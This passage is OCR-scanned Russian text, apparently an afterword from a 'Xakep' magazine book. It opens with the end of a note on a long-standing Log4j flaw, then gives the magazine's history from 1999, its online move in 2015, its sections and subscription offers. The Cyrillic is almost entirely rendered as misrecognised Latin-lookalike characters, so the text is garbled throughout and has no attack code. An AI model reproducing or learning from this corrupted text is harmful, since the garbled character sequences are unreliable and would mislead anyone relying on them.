LIMPOKO#H 0OLIIECTBEHHOCTH LIEJIBIX BOCEMb JIET, Bellb NlepBas ysi3BuMas Bepcus Logdj 2.0
beta9 (https://blogs.apache.org/logging/entry/apache logdj 2 0 beta9) Ovuia Bbiny-
uieHa ax B koHue ceHTsiops 2013 roxa.

i1 Hac 3TO oyepeHOe HAalOMHHAHHE O TOM, YTO MHOTAA AOCTATOYHO JIHMIIb NPHUCTANb-
Hee MpUITIAAETHCA K KOAY, KOTOPBIH y BCEX Ha BHUAY, YTOObI OOHApY>KHTh HEYTO HHTE-
pecHoe.
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«Xakep»:
Ge3onacHocCTb, pa3paboTka, DevOps

Hctopus xypHana «Xakep» Havanmach 3afoiro Ao ¢eppans 1999 ronma, korma yBuzmen
CBET NepBbli HoMep u3nanus. Eume B HossOpe 1998 roma B cetn DALnet mosiBuics pyc-
ckos3piuHblii  IRC-kanan #xakep, rne akTHBHO 00CYXIATMCh KOMIIbIOTEPHBIE UTPHI U
NpHUEMBI UX B3JIOMa, a TaK)Ke NIPOYHE CBS3aHHBIE C BBICOKHMMH TEXHOJOTMSMH Bewu. To-
r1a xe B HeZlpax oCHOBaHHOH JIMuTpreM ArapyHoBbsIM komnanun Gameland 3apoaunace
uzaes BBIIYCKaTb OJHOMMEHHBIH >KypHaJ, NpaBla, M3HAyaJbHO OH 3alyMbIBaJCs, Kak
reiiMepckuil. HoBoe n3naHne NOMKHO OBLIO MOAXBATHUTH BBINABIIEE 3HAMS HECKOJBKHX
3aKpBIBIIMXCS KOMITBIOTEPHBIX JKYypPHAJIOB, HE MEpexuBIINX Kpu3uc 1998 rona. B otim-
YHe OT MONYJISIPHOTO «TJISIHLIA» MEPBOH IOJIOBUHBI «HYJIEBBIX», Haes «Xakepa» He Obuia
3aMMCTBOBaHa y KaKOro-JIM0O M3BECTHOTO 3alafHOrO M3JaHHMs, a W3HAYAJIbHO SBIAIACH
MOJTHOCTBIO OPUTHHAIBHON U CAMOOBITHOM.

Uwurarenu npuHsM KypHan Gojee yeM OJIarOCKIJIOHHO: MEPBBIH HOMep «Xakepa» Obul
MOJIHOCTBIO packyIuieH B MOCKBE 3a HECKOJIBKO YacoB, Ja)k€ HECMOTPS Ha TO, YTO OH
NOCTYIWII B IpoJaxy B 6 4. Beyepa. XypHan ObicTpo HaOpaa BUPYCHYIO MOMYJISIPHOCTH,
a OZIHOH M3 caMbIX YHTAaeMbIX pyOpHK «Xakepa» cTall pas3lel «3anajyloCTpOEHHE», B KO-
TOPOM aBTOPBI IIEAPO AETHINCH C ayJUTOPHEH NMPAKTHYECKHUMH pELeNnTaMH U NPOBEPEeH-
HBIMH CIOCOOAMHM HaNmaKOCTUTh OJIM)KHEMY CBOEMY IIPH IOMOIIM Pa3IHYHbIX TEXHHYe-
CKHX CPEACTB pa3HOH CTENEHH H3OLIPEHHOCTH.

Bckope noj BIMsSHHEM YMTATEIbCKHX OTKIMKOB TEMaTHKa JKypHajla cTajla MEHATHCS, 10-
CTENEHHO CMEeLIasiCh OT UTPOBOH MHIYCTPHH B CTOPOHY TEXHOJIOTMI B3JI0Ma M 3alLMTHI
nHopMaLMH, YyTO, B OOLIEM-TO, BIOJHE JIOTHYHO AJS M3JaHHMSA C TaKMM Ha3BaHHEM.
OnuH u3 oTHOB-OCHOBaTenel «Xakepay, Jlenuc J|aBbInoOB, TOCBATUBIINI CBOE TBOPYECT-
BO KOMITBIOTEPHBIM HIpaM, BCKOpE MOKHHYJ PeNaKLHOHHBIH KOJUIEKTHB, YTOObI BCTAaTh
BO TjlaBe COOCTBEHHOTrO >KypHaja: Tak MOSBHJIACh Ha CBET JereHaapHas «Wrpomanus».
Hy, a «Xakep» ¢ Tex nop cocperoTO4YHIICS Ha BONPOCAX, H3HAYaJIbHO 3aJI0)KEHHBIX B €T0
JHK, — xakepcTBO, B3JIOM W 3amuTa AaHHbIX. B Mapte 1999 roma Obl1 3amyuieH calt
ypHaNla, Ha KOTOPOM ITy6JIHKOBANMCE AHOHCHI CBEXKHX HOMEPOB — 3TOT CAT M Mo ceif
JIEHb MO>KHO HalTH 1o agpecy xakep.ru.

Ve B 2001 roxy tupax «Xakepa» coctaBus 50 Thic. 3k3eMIUIIpoB. Beckope mocie cBo-
€ro MNOSIBJICHUS Ha CBET JKypHaJl yBEPEHHO 3aBOEBAJ 3BaHHE OJHOTO CaMbIX MOMYJISPHBIX
KOMITBIOTEPHBIX M3aHUH B MOJIOZEKHOH cpelle — Mo KpaifHeH Mepe, UMEHHO TaK CUUTa-
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eT pycckos3biuHas «Bukumeans». «Xakep» peryaspHO B3pbIBall YHTATEIbCKHE MACChI
BECEJbIMH CTAaThIMH O METOJAax B3lOMa JOMOGOHOB, MOYTOBBIX CEPBEPOB H BeO-CAHTOB,
BpEMEHaMH BBI3bIBasi (pPYCTPaALUIO Y MPOU3BOAMUTENEH MPOrpaMMHOr0 obOecreueHus: M
OpouYuX MpeacTaBuTenell kpynHoro 6usHeca. Ha «Xakep» mucanu xano0sl, a 6iarozap-
Hble YUTATENN MPUHOCHITH B PelaKUuio MHBO. Ero coTpyJHHKOB MpHUrialuamy Ha TeIeBH-
JeHHe M paJuo, a CaMo M3JaHHE B TO )K€ CaMOe BpeMs Ha3bIBalld «BECTHHKOM KPHMH-
HaJIbHO# CYOKYJIbTYpBI». B 0011eM, 1 aBTOpPBI, H YHTATEIH Pa3BIEKaINCh, KAK MOTIH.

«Xakep» pa3BHBAJICS U POC, MPOAOIDKAs MyOJIMKOBaTh HHTEPECHBIE CTaThH 00 onepanu-
OHHBIX CHCTEMax, MPOTpaMMax, CETAX, rajkeTax W KOMIBIOTEPHOM «xkenede». OueHb
CKOpO BCE€ NPHUCBHLIAEMbIE aBTOPAMH MaTepHaibl MEPECTald MOMELAThCS NOJ OJHY 00-
JIOXKKY, U HEKOTOpBIE CYIry00 TEXHHUECKHE TEKCThI IOCTENEHHO NEPEKOYEBAIN B OTAEIIb-
HOE€ TeMaTHYeCKOe MPUIIOKEHHUE MO Ha3BaHHEM «Xakep Criem».

B 2006 rony oonem «Xakepa» enBa He CTal peKOpAHbIM — 192 monocel. BeimyctuTh
HOMED TaKOH TOJILIMHBI HE MOJYYHIIOCH HCKIIFOYUTENBHO O TEXHHYECKHM npudnHam. Co
BpPEMEHEM DPEIaKLIHOHHAs MOJUTHKA CTajla MEHSATBCS: B )XypHaJe MOsABIUIOCH BCE MEHb-
IlIe XYJIUIaHCKHX CTaTeH, NOCBSILEHHBIX BCEBO3MOXHBIM KOMITBIOTEPHBIM 0e300pa3usim,
U Bce Ooubllie aHATMTHYECKHX MATEPHANIOB O CEKpeTax MporpaMMHPOBAHHUs, aIMHHHCT-
prpoBaHus, HHHOpPMALIMOHHOH 0€30MacHOCTH M 3aluuTe NaHHBIX. Ho B31OMy KOMMbiO-
TEpHBIX CHCTEM Ha CTpaHHLaX «Xakepa» MO-NPEeKHEMY yIeNsIOCh caMOe MPUCTAIbHOE
BHHMaHHE.

KiroueBsiM 11 ucTOopuH xypHana cran 2013 rox, xorga napamieasHO ¢ TPAIHIIHOHHOU
OyMa)KHOH BepCHEH CTaja BBIXOIUTH JJIEKTPOHHAs, KOTOPYIO MOXHO OBUIO CKayaTh B
Buze PDF-daitna. A mocnenHuit 6yMaxxHbIi HOMEDp >KypHaina yBuzaen ceet ietoM 2015 roaa.
C 1ot mops! «Xakep» U3JaeTcsd UCKIIOYHUTENBHO B PEKMME OHJIAHH U TOCTYNEH YHUTaTe-
JISIM IO TOJTHCKE.

CeroaasmHni «Xakep» — 3TO MOMYJISPHOE JEKTPOHHOE W3JaHHE, MOCBAILIEHHOE BO-
npocaM HH(POPMALMOHHOH 0€30MacHOCTH, MPOrPaMMHPOBAHHIO U aIMHHHCTPHPOBAHHIO
KOMOBIOTEPHBIX ceTei. OCHOBY ayIUTOPHH XaKep.ru cOCTaBISIOT 3KCMEPTHI MO KUOEp-
6e3onacHocty W IT-crmenuanuctel. Mbl NHLIEM Kak O TPEHAAX W TEXHOJOTHAX, TaK U
0 KOHKPETHBIX TeMaX, CBA3aHHBIX C 3amMTOH MH(opmammu. Ha cTpammmax «Xakepay»
nyb6mukyotcs moapodbrsie HOWTO, mpakTHyeckne MaTepHassl Mo pa3pabOTKe U aaMHU-
HUCTPHUPOBAHUIO, HHTEPBBIO C BBIAAIOIIUMHUCS JIOABMH, CO3IaBIINMH TEXHOJIOTHUYECKUE
OpOAYKTH! U u3BecTHbIE IT-kOMNIaHuu, U, KOHEYHO, KCIIEPTHBIE CTaThbH 00 HH(popMaLU-
OHHOH Oe3omacHocTH. C moI0OPKOH TaKUX CTaT€H Thl UMENT BO3MOXHOCTh O3HAKOMHUTHCS
Ha CTpaHULAX 3TOH KHUTH. AynuTopus caita xakep.ru cocrasusier 2 500 000 mpocmort-
POB B MECHLL, €lll€ HECKOJILKO COTEH THICSY MOAMUCYHUKOB CIEAAT 32 HOBUHKAMH XypHaia
B COL[MATIBHBIX CETSX.

CoBpeMeHHBIH «Xakep» OTJIHYAeT HENpPUHYXIEHHas, Becenas atMocdepa. YYaCTHUKH
coobuiecTBa «Xakep.ru» Moay4arOT HECKOJIBKO MaTepHaloB KaXIbIH NEHb: MaHyallbl 110
KOJWHTY W B3JIOMY, Tal/Ibl IO HOBBIM BO3MOXKHOCTSIM W HOBBIM JKCILIOWTaM, MOJ0OPKH
xakepckoro codrta H 0030pbl BeO-cepBHCOB. Ha calite «Xakepa» eXeIHEBHO MyOIHKY-
IOTCSl 3HAKOBBIE HOBOCTH M3 MHpPa KOMITBIOTEPHBIX TEXHOJIOTHH, pacCKa3bIBaOLIHE O ca-
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MBIX HHTEPECHBIX cOOBITHAX B cepe IT. MbI exxeHeneTbHO TOTOBHM JaHIXKECTHI, AETaeM
oa00pKH COBETOB M I0JIE3HBIX IPOTPaMM, H3y4aeM CBEXHE YA3BHUMOCTH.

B pyOpuke «B310M» BBIXOOAT HHTEPECHBIE CTATBH O XaKEPCKUX TEXHOJOTHAX M yTHIIH-
Tax, pasaen «KoIuHr» MocBsLEH XUTPOCTAM MpOrpaMMHpoBaHus, B pyopuke «IIpuBart-
HOCTb» COOpaHBI COBETBI U MaHyalbl 10 CETEBOH 0E30MaCHOCTH M COXPaHEHHIO CBOErO
uHKorHUTO B MHTepHere. CTaTh U3 pa3fena « Tproku» pacckaxyT O HEJOKYMEHTHPO-
BaHHBIX BO3MOXHOCTSX cO()Ta M HECTAaHOAPTHHIX aNMapaTHBIX PELICHHUSAX, CHCTEMHBIE
aJIMHHHCTPATOPbl HAaWIyT MacCy MOJNe3HBIX pekoMeHmauui no Hactpoiike OC u mpu-
knagHoro I1O B pa3gene «AQMHH», a JTHOOUTENH TaPKETOB M HOBOMOJHOIO <(OKeJe3a»
CMOTYT HacJlaguThCs pyopukoi «Geek».

[MpucoenuHsicsa k cooOmecTBy «Xakepa» nMpsaMo ceiduac! Martepuaisl )XypHajia BBIXOIAT
B HECKOJIBKUX (opMaTax Ha BbIOOp. THl MOXKELIb MOAMHCATHCA B MpUIIOXKEHHH Ha 10S
ui Android U 4MTaTh €XeMecsAuHble BBIMYCKH THO0 OpOpMHTH MOAMHCKY Ha caiite M
[OJy4aTh CTAaTbHU KaXkAblH OyIHHH IeHb — cpa3y, KaK TOJIbKO OHH BbixonsaT. Ilogmucka
Ha cailTe Tak)Xe 1aeT BO3MOXXHOCTh CKauMBaTh exxeMecsuHblii PDF u uuTath ero Ha jo-
00M y10OHOM yCTpOIiCTBE.

Korma «Xakep» TOJBKO co3maBalicsi, Mbl cka3amu cebe: «Hama nemnp — 4toObI cpeau
HalIMX peOAT MpOrpaMMHPOBAHHE CTAJIO CAMOH MOMYJIAPHOH npodeccuein». Mbl HCIIONb-
30BaJIM AJIS 3TOrO BCE, YTO MOTJIH MPUAYMAaTh, — Pa3BJIEKAINCh, IyPauylIHCh, KAK MOTIIH
monyasapusupoBanin b, Hamy cyOkynerypy u Tary kK IT B moOBIX ee HpOSBIECHHUAX.
U MBI curTaeM, 4TO BO MHOIOM JOCTHIJIH CBOEH LIEH.

ITpucoenunsiics, Mpl OyzneM paasl BUAETh TeOs B Hallel TycOBKe!

C caMBIMH TEIUIBIMU TIOXKETaHUAMH,
pedaxyus Jcyprara «Xakepy.
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